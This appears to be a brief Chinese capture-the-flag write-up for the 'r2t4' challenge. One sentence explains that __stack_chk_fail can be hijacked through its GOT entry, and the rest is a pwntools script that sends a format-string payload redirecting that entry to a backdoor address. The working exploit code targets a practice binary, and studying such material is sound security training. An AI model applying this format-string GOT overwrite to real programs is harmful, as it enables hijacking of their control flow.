開啓了Canary,但Canary失敗的處理邏輯會進入到stack_chk_failed函數,stack_chk_failed函數是一個普通的延遲綁定函數,可以通過修改GOT表劫持這個函數。
exp
from pwn import *
context(log_level='debug')
proc_name = './r2t4'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 29985)
elf = ELF(proc_name)
__stack_chk_fail = elf.got['__stack_chk_fail']
backdoor = 0x400626
# 0x40 0x0626
p.sendline(flat(['%64c%9$hn%1510c%10$hnAAA', p64(__stack_chk_fail + 2), p64(__stack_chk_fail)]))
print(p.recv())